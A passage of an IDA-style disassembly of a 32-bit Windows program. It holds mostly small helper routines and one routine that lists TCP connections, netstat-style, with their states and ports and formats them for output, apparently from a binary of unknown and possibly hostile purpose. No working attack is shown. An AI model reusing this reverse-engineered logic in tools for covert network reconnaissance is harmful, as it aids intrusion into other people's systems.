		call	sub_4012A3
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40214E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4016F9
		test	al, al
		jnz	short loc_418BD8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418C1A:				; CODE XREF: sub_418BC0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418BC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418C50	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401C53
sub_418C50	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_418C65
		mov	edi, esi


loc_418C65:				; CODE XREF: ___:00418C61j
		push	esi
		call	sub_4015D2
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_418C7A
		mov	edi, esi


loc_418C7A:				; CODE XREF: ___:00418C76j
		push	esi
		call	sub_401B1D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418CA0	proc near		; CODE XREF: sub_40205Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4013F2
sub_418CA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CC0	proc near		; CODE XREF: sub_4015D2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_418CC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CE0	proc near		; CODE XREF: sub_401172j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_418CE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D00	proc near		; CODE XREF: sub_401528j
		mov	eax, ecx
		retn
sub_418D00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D20	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4020E0
		mov	eax, esi
		pop	esi
		retn	4
sub_418D20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D50	proc near		; CODE XREF: sub_40221Bj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_418D50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D80	proc near		; CODE XREF: sub_40123Fj

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40116D
		mov	ecx, eax
		call	sub_401C8A
		mov	esi, eax
		push	esi
		call	sub_401A82
		push	esi
		mov	ebx, eax
		call	sub_401C58
		mov	ecx, [eax]
		push	ecx
		call	sub_401A82
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401C58
		push	esi
		mov	ebx, eax
		call	sub_401A82
		mov	eax, [eax]
		push	eax
		call	sub_401C58
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401208
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401762
		push	esi
		mov	ecx, edi
		call	sub_4020E5
sub_418D80	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E40	proc near		; CODE XREF: sub_401D57j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_418E40	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E60	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F0A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418E60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E90	proc near		; CODE XREF: sub_40214Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4012A3
		mov	ecx, eax
		call	sub_401ECE
		mov	esi, eax
		push	esi
		call	sub_4015D2
		push	esi
		mov	ebx, eax
		call	sub_401B1D
		mov	ecx, [eax]
		push	ecx
		call	sub_4015D2
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B1D
		push	esi
		mov	ebx, eax
		call	sub_4015D2
		mov	eax, [eax]
		push	eax
		call	sub_401B1D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401172
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4018C5
		push	esi
		mov	ecx, edi
		call	sub_40205E
sub_418E90	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_401B1Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_418F50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F70	proc near		; CODE XREF: sub_401C53j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_418F70	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418FA0	proc near		; CODE XREF: sub_4013F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_418FA0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418FC0	proc near		; CODE XREF: sub_4020E0j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_418FC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418FE0	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401361
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418FE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419010	proc near		; CODE XREF: sub_401762j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_419010	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419030	proc near		; CODE XREF: sub_4018C5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_419030	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419050	proc near		; CODE XREF: sub_401ECEj
		mov	eax, [ecx]
		retn
sub_419050	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4190B0	proc near		; CODE XREF: sub_402103j

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4190B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_43E074
		call	sub_4367FA
sub_4190B0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 1
		jz	short loc_41911D
		mov	ecx, eax
		call	sub_401F0F
; ---------------------------------------------------------------------------
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+8]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41911D:				; CODE XREF: ___:004190FFj
		mov	ecx, [esp+0Ch]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419170	proc near		; CODE XREF: sub_401F0Fj
		push	0FFFFFFFFh
		push	offset SEH_419170
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_4367FA
sub_419170	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+4], eax
		test	eax, eax
		mov	dword ptr [esp+10h], 0
		jz	short loc_4191BE
		mov	ecx, eax
		call	sub_4015B9
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+4]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_4191BE:				; CODE XREF: ___:004191A1j
		mov	ecx, [esp+8]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419200	proc near		; CODE XREF: sub_4015B9j
		mov	eax, ecx
		retn
sub_419200	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419220	proc near		; CODE XREF: sub_401965j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_419220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401681
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_419220	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4192C0	proc near		; CODE XREF: sub_40111Dj

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4192C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_4017E4
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_419669
		push	ebp
		push	edi
		push	offset asc_443600 ; " "
		lea	eax, [esp+2B8h+var_23C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		call	sub_401681
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		call	sub_401226
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_401861
		xor	ebp, ebp
		push	offset dword_443D94
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], ebp
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_4013E3
		test	eax, eax
		jz	short loc_41936F
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_419389
; ---------------------------------------------------------------------------


loc_41936F:				; CODE XREF: sub_4192C0+A3j
		push	offset dword_443D90
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_419389
		mov	[esp+2B4h+var_2A0], 1


loc_419389:				; CODE XREF: sub_4192C0+ADj
					; sub_4192C0+BFj
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_443D84
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_419418
		mov	esi, dword_50FA9C
		add	eax, 2
		push	offset dword_443D84
		push	eax
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jz	short loc_419418
		mov	ecx, [ebx+32h]
		push	offset off_443D80
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_41964F


loc_419418:				; CODE XREF: sub_4192C0+123j
					; sub_4192C0+13Bj
		push	0C00h
		mov	[esp+2B8h+var_294], 0C00h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_436C60
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_419645
		lea	ebp, [esi+14h]


loc_419454:				; CODE XREF: sub_4192C0+37Fj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419468
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_41962F


loc_419468:				; CODE XREF: sub_4192C0+198j
		mov	ax, [ebp-8]
		mov	esi, dword_50FC20
		push	eax
		call	esi	; ntohs
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi	; ntohs
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401474
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401474
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_4194CC
		sub	eax, 3
		jnz	short loc_4194F2
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aEstablished ; "established"
		jmp	short loc_4194D5
; ---------------------------------------------------------------------------


loc_4194CC:				; CODE XREF: sub_4192C0+1FAj
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aListening ; "listening"


loc_4194D5:				; CODE XREF: sub_4192C0+20Aj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4194F2:				; CODE XREF: sub_4192C0+1FFj
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419518
		xor	ebx, ebx


loc_419518:				; CODE XREF: sub_4192C0+254j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	edx
		nop
		call	near ptr 77C3FA76h
		mov	edi, ebx
		add	esp, 14h
		and	edi, 0FFFFh
		lea	eax, [esp+2B4h+var_118]
		push	edi
		push	eax
		push	offset aSD_1	; "%s:%d"
		lea	ecx, [esp+2C0h+var_224]
		push	8Bh
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 14h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_401424
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 1
		test	bx, bx
		jnz	short loc_4195B1
		cmp	eax, 1
		jz	loc_419616
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_4195A4
		cmp	eax, esi
		jnz	short loc_419616


loc_4195A4:				; CODE XREF: sub_4192C0+2DEj
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	offset aSD_0	; "%s: %d"
		jmp	short loc_4195D7
; ---------------------------------------------------------------------------


loc_4195B1:				; CODE XREF: sub_4192C0+2CAj
		cmp	eax, 2
		jz	short loc_419616
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_4195C5
		cmp	eax, edi
		jnz	short loc_419616


loc_4195C5:				; CODE XREF: sub_4192C0+2FFj
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	offset aSS_6	; "%s: %s"


loc_4195D7:				; CODE XREF: sub_4192C0+2EFj
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118


loc_419616:				; CODE XREF: sub_4192C0+2CFj
					; sub_4192C0+2E2j ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 0
		call	sub_401226
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_41962F:				; CODE XREF: sub_4192C0+1A2j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_419454


loc_419645:				; CODE XREF: sub_4192C0+18Bj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_41964F:				; CODE XREF: sub_4192C0+152j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_41966B
; ---------------------------------------------------------------------------


loc_419669:				; CODE XREF: sub_4192C0+3Dj
		mov	al, 1


loc_41966B:				; CODE XREF: sub_4192C0+3A7j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_4192C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419790	proc near		; CODE XREF: sub_401474j

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ebx
		push	ebp
		nop
		call	near ptr 77C3FA76h
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_419850
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_41981E
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_41981E
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		nop
		call	near ptr 71ABE479h
		test	eax, eax
		jz	short loc_419850
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_41981E:				; CODE XREF: sub_419790+5Aj
					; sub_419790+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		call	near ptr 71AB50C8h
		nop
		test	eax, eax
		pop	edi
		jnz	short loc_419850
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch


loc_419850:				; CODE XREF: sub_419790+52j
					; sub_419790+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_419790	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4198A0	proc near		; CODE XREF: sub_401EECj
		call	near ptr 27C08B0h
		nop
		push	eax
		call	near ptr 77C371BCh
		nop
		pop	ecx
		retn
sub_4198A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4198C0	proc near		; CODE XREF: sub_4021A3j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		nop
		call	near ptr 77C371D3h
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	dbl_43E0B0
		call	sub_4368EA
sub_4198C0	endp

; ---------------------------------------------------------------------------
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419910:				; CODE XREF: ___:00401C85j
		nop
		call	near ptr 77C371D3h
		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_419930:				; CODE XREF: ___:0040151Ej
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419950:				; CODE XREF: ___:00401FC3j
		xor	al, al
		retn	4
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419970	proc near		; CODE XREF: sub_401523j

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		retn
sub_419970	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4199B0:				; CODE XREF: ___:00401505j
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_4199E3
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_4199E3
		mov	[esp+18h], eax


loc_4199E3:				; CODE XREF: ___:004199CBj
					; ___:004199DDj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	esi, offset dword_506E6C


loc_4199F8:				; CODE XREF: ___:00419A49j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_419A4B
		cmp	byte ptr [esi],	0
		jz	short loc_419A34
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_419A28
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_419A28
		push	eax
		push	esi
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_419A34


loc_419A28:				; CODE XREF: ___:00419A0Fj
					; ___:00419A17j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_401523
		add	esp, 10h


loc_419A34:				; CODE XREF: ___:00419A07j
					; ___:00419A26j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_50AE6C
		mov	[esp+14h], edx
		jl	short loc_4199F8


loc_419A4B:				; CODE XREF: ___:00419A02j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419A90:				; CODE XREF: ___:00402266j
		push	ebx
